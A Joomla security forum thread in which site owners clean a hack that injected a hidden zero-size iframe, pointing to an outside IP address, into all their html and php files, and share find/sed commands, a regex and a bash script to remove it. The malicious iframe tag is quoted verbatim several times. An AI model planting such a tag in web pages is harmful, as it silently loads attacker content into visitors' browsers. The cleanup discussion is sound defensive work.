How to remove iframes in all joomla files

Discussion regarding Joomla! security issues.

Moderator: General Support Moderators

Forum rules
Forum Rules
Absolute Beginner's Guide to Joomla! <-- please read before posting, this means YOU.
Security Checklist
Forum Post Assistant - If you are serious about wanting help, you will use this tool to help you post.
Locked
nutts4life
Joomla! Apprentice
Joomla! Apprentice
Posts: 22
Joined: Fri Apr 20, 2007 4:51 pm

How to remove iframes in all joomla files

Post by nutts4life » Wed Feb 04, 2009 10:23 pm

Are these guys are so annoying.

So here's my site:
http://www.mymechani cs.co.uk/

Before you click on it! There is a worm embedded in an iframe on the site.

It occurs in two places, here:

Code: Select all

<body>
<div class="topbar">
<div id="navcontainer">
<iframe src="http://124.217.252.62/~admin/count.php?o=2" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe><ul id="mainlevel-nav"><li><a href="http://www.mymechanics.co.uk/" class="mainlevel-nav" id="active_menu-nav">Home</a></li><li><a href="http://www.mymechanics.co.uk/Garages/" class="mainlevel-nav" >Browse Garages</a></li><li><a href="http://www.mymechanics.co.uk/Car-Advice/home" class="mainlevel-nav" >Car Advice</a></li><li><a href="http://www.mymechanics.co.uk/component/option,com_ja_submit/Itemid,14/" class="mainlevel-nav" >Add Garage</a></li><li><a href="http://www.mymechanics.co.uk/component/option,com_ja_submit/Itemid,28/" class="mainlevel-nav" >Add Car Advice</a></li><li><a href="http://www.mymechanics.co.uk/Forum/home" class="mainlevel-nav" >Forum</a></li></ul><div id="header">
<h1><a href="#">HEADER</a></h1>
<h2>MyMechanics.co.uk</h2>
<h3>Your Local Garage Uncovered</h3>
Note that it occurs just before my first modules is loaded (which is mod_mainmenu). Here is the section in my template index.php:

Code: Select all

<body>
<div class="topbar">
<div id="navcontainer">
<?php mosLoadModules ( 'top',-1 ); ?>
<div id="header">
<h1><a href="#">HEADER</a></h1>
<h2>MyMechanics.co.uk</h2>
<h3>Your Local Garage Uncovered</h3>
I have a couple of other modules loading.

Then it occurs immediately in my content pane:

Code: Select all

<div class="right_banner"></div>
	
		<table class="contentpaneopen">
				<tr>
			<td valign="top" colspan="2">
				<div align="left"><iframe src="http://124.217.252.62/~admin/count.php?o=2" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>		<div class="moduletable-si">
				<table class="siteinfo">
The div -si is another module called mod_siteinfo. Here is it in my index.php:

Code: Select all

<div class="right_banner"><?php mosLoadModules('banner',-1);?></div>
<?php mosMainBody(); ?>
<?php if (mosCountModules('user1') || mosCountModules('user2')) { ?>
I've checked both the modules and there is no sign of it in here.

Where on earth is this code being put!? Could it be in the mosloadmodule call? where is that?

Sorry, any help would be great.

Thanks,

Olly
Last edited by nutts4life on Thu Feb 05, 2009 7:40 pm, edited 1 time in total.

nutts4life
Joomla! Apprentice
Joomla! Apprentice
Posts: 22
Joined: Fri Apr 20, 2007 4:51 pm

Re: Help ME!

Post by nutts4life » Wed Feb 04, 2009 10:45 pm

Ok,

I've found out what these monkeys have done.

Everysingle one of the index.html's have got this code in them.

As you all know there's about 100 - 150 of these.

And i have 5 sites, that all have the same problem.

I need some ideas on how i'm going to get rid of these iframes.

Any ideas?

Thanks,

Olly

nutts4life
Joomla! Apprentice
Joomla! Apprentice
Posts: 22
Joined: Fri Apr 20, 2007 4:51 pm

Re: How to remove iframes in all joomla files

Post by nutts4life » Thu Feb 05, 2009 7:43 pm

OK, here's how i did it. I hope this is useful for someone one day.

The hacker had search and replaced ALL the php / html and htm files in my hosting area.

The had added the iframe html above.

So i logged into my hosting server using putty and ran the following commands from the root directory:

Code: Select all

find -name "*.htm*" -exec sed -i 's/<iframe src="http:\/\/124.217.252.62\/~admin\/count.php?o=2" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no><\/iframe>//' {} \;
AND

Code: Select all

find -name "*.php" -exec sed -i 's/<iframe src="http:\/\/124.217.252.62\/~admin\/count.php?o=2" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no><\/iframe>//' {} \;
This got rid of them.

Good luck and let's beat these guys.

n4l

User avatar
Tonie
Joomla! Master
Joomla! Master
Posts: 16584
Joined: Thu Aug 18, 2005 7:13 am

Re: How to remove iframes in all joomla files

Post by Tonie » Thu Feb 05, 2009 7:48 pm

Have you also found the way they came into your site? If not, it's going to be child's play to do it again.

nutts4life
Joomla! Apprentice
Joomla! Apprentice
Posts: 22
Joined: Fri Apr 20, 2007 4:51 pm

Re: How to remove iframes in all joomla files

Post by nutts4life » Sat Feb 07, 2009 1:52 pm

Toni,

Thanks for the concern, I did find the way. I was using an include one of my other sites and reading the parameters of the include from the URL!

How dumb was that. Anyway, i fixed it all. If it happens again.

I will contact here.

Thanks,

n4l

User avatar
rajeshatbuzz
Joomla! Enthusiast
Joomla! Enthusiast
Posts: 198
Joined: Wed Sep 24, 2008 6:06 pm
Location: Bangalore
Contact:

Re: How to remove iframes in all joomla files

Post by rajeshatbuzz » Mon Jun 22, 2009 7:42 pm

I just modify above script and used following...
find -name "*.htm*" -exec sed -i 's/<iframe src=//' {} \;
find -name "*.php*" -exec sed -i 's/<iframe src=//' {} \;
find -name "*.js*" -exec sed -i 's/<iframe src=//' {} \;
find -name "*.html*" -exec sed -i 's/<iframe src=//' {} \;

but no output..
Is the command line is correct?
cmsGalaxy Team, Web Developer, Bangalore, India
Website Design - Development - SEO - Joomla
www.cmsGalaxy.com

User avatar
mandville
Joomla! Master
Joomla! Master
Posts: 14800
Joined: Mon Mar 20, 2006 1:56 am
Location: The Girly Side of Joomla in Sussex

Re: How to remove iframes in all joomla files

Post by mandville » Sun Oct 25, 2009 9:29 am

cagsan wrote:And change the chmod of the files that infected from 777 to 666.
no - delete the infected files and replace with poper clean files and then make sure your site is secure
HU2HY- Poor questions = Poor answer
Un requested Help PM's will be reported, added to the foe list and possibly just deleted
{VEL Team Leader}{TM Auditor }{ Showcase & Security forums Moderator}

ifanatic
Joomla! Apprentice
Joomla! Apprentice
Posts: 28
Joined: Mon Aug 24, 2009 11:23 am

Re: How to remove iframes in all joomla files

Post by ifanatic » Sun Dec 06, 2009 1:11 am

Hi guys,

I am in the same situation as above.

I don't have putty access to my host.
So now I have to restore files from recent backups.

My concern is although I know how to get rid of this iframe crap, I would like to know from you guys what directory permissions should I use after joomla installations.


Regards,

User avatar
mandville
Joomla! Master
Joomla! Master
Posts: 14800
Joined: Mon Mar 20, 2006 1:56 am
Location: The Girly Side of Joomla in Sussex

Re: How to remove iframes in all joomla files

Post by mandville » Sun Dec 06, 2009 1:41 am

ifanatic wrote:Hi guys

My concern is although I know how to get rid of this iframe crap, I would like to know from you guys what directory permissions should I use after joomla installations.
Regards,
http://docs.joomla.org/Security_Checklist_7
HU2HY- Poor questions = Poor answer
Un requested Help PM's will be reported, added to the foe list and possibly just deleted
{VEL Team Leader}{TM Auditor }{ Showcase & Security forums Moderator}

WeWatch
Joomla! Apprentice
Joomla! Apprentice
Posts: 49
Joined: Wed May 06, 2009 10:38 am
Contact:

Re: How to remove iframes in all joomla files

Post by WeWatch » Wed Dec 16, 2009 5:53 pm

If you have your entire website downloaded on your PC (backup) you could use grepWin.

If you find the string that needs to be removed you can create a regex string to find and remove all of them.

Place a \ in front of all special characters: ( ) { } / as this uses grep's regex which is different from others.

So the line found in the first website:

Code: Select all

<iframe src="http://124.217.252.62/~admin/count.php?o=2" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>
Would be found with:

Code: Select all

<iframe src\s*=\s*['|"]http:\/\/.*width\s*=\s*0 height\s*=\s*0 style\s*=\s*['|"]hidden['|"] frameborder\s*=\s*0 marginheight\s*=\s*0 marginwidth\s*=\s*0 scrolling\s*=\s*no><\/iframe>
The "\s*" before and after each "=" means that there might be a space or tab before and after the "=". You need to account for that. the ['|"] is a character class that will match either a single quote or double quote - you need to account for that as well.

The regex I show above will catch any iframe with those parameters regardless of whether or not the iframe uses an IP address or any domain - so be carefule with it. The section: http:\/\/.* means: http:// all characters up to width. The dot is all characters and the * is zero or many times.

When using grepWin, I usually tell it to search first, then I'll go ahead and let it do a search and replace. Replace with a blank will remove it all.

If you have problems using grepWin let me know and I'll help you create a string.

User avatar
rajeshatbuzz
Joomla! Enthusiast
Joomla! Enthusiast
Posts: 198
Joined: Wed Sep 24, 2008 6:06 pm
Location: Bangalore
Contact:

Re: How to remove iframes in all joomla files

Post by rajeshatbuzz » Wed Feb 17, 2010 11:39 am

Dream weaver this tool which is best for this. You can remove IFRAME code from all the files in click using dreamweaver.
cmsGalaxy Team, Web Developer, Bangalore, India
Website Design - Development - SEO - Joomla
www.cmsGalaxy.com

User avatar
mandville
Joomla! Master
Joomla! Master
Posts: 14800
Joined: Mon Mar 20, 2006 1:56 am
Location: The Girly Side of Joomla in Sussex

Re: How to remove iframes in all joomla files

Post by mandville » Wed Feb 17, 2010 10:43 pm

dreamweaver may be the tool for you, but how did the code get there in the first place?
HU2HY- Poor questions = Poor answer
Un requested Help PM's will be reported, added to the foe list and possibly just deleted
{VEL Team Leader}{TM Auditor }{ Showcase & Security forums Moderator}

vjorchid
Joomla! Fledgling
Joomla! Fledgling
Posts: 3
Joined: Fri Jan 22, 2010 6:30 pm

Re: How to remove iframes in all joomla files

Post by vjorchid » Thu Apr 29, 2010 12:23 pm

rajeshatbuzz wrote:Dream weaver this tool which is best for this. You can remove IFRAME code from all the files in click using dreamweaver.
Please can you explain a little more how i could delete my iframe from dreamweaver?

any script or tool to clen those fu... iframes?

i can belive in this day and i cant find an antivirus to clean my site from my ftp?
can your suggest any tool to clean my site online?

repeat i cant download all the file again..and upload..all soo many files... :(

WeWatch
Joomla! Apprentice
Joomla! Apprentice
Posts: 49
Joined: Wed May 06, 2009 10:38 am
Contact:

Re: How to remove iframes in all joomla files

Post by WeWatch » Thu Apr 29, 2010 12:40 pm

You'll have to download all the files to your local PC. Otherwise, you won't have the tools to do what you want to do.

Then I'd suggest using grepWin.

vjorchid
Joomla! Fledgling
Joomla! Fledgling
Posts: 3
Joined: Fri Jan 22, 2010 6:30 pm

Re: How to remove iframes in all joomla files

Post by vjorchid » Thu May 06, 2010 2:34 pm

i cant download all the files in my pc...

any chance to delete iframes using php my admin? how?

thanks :D
please i need a solution online :(

jaspujari
Joomla! Fledgling
Joomla! Fledgling
Posts: 2
Joined: Mon Dec 10, 2012 1:16 pm

Re: How to remove iframes in all joomla files

Post by jaspujari » Mon Dec 10, 2012 1:40 pm

You can modify and run the following script in the root dir of your Joomla site.
It will clean all the files with the iframe infection, typically with one line appended to all .js files.
Feel free to replace the search string with a different regexp that handles your infection.
This will cycle thryu every file and replace the searched string with a space.
=================
#!/bin/bash
for fl in $(grep -rl 'document.write..<iframe src="http://.*<.iframe>..' .); do
sed -i 's/document.write(.<iframe src="http:\/\/.*<\/iframe>.)/ /g' $fl
echo "Fixed " $fl
done
=================
take care of permissions after the cleanup to stop future infections.

cheers
J

User avatar
trichnosis
Joomla! Explorer
Joomla! Explorer
Posts: 315
Joined: Wed May 17, 2006 4:15 pm

Re: How to remove iframes in all joomla files

Post by trichnosis » Sat Mar 07, 2015 12:39 pm

checking your database records may help too. a part of the iframes may come from your db records


Locked

Return to “Security - 1.0.x”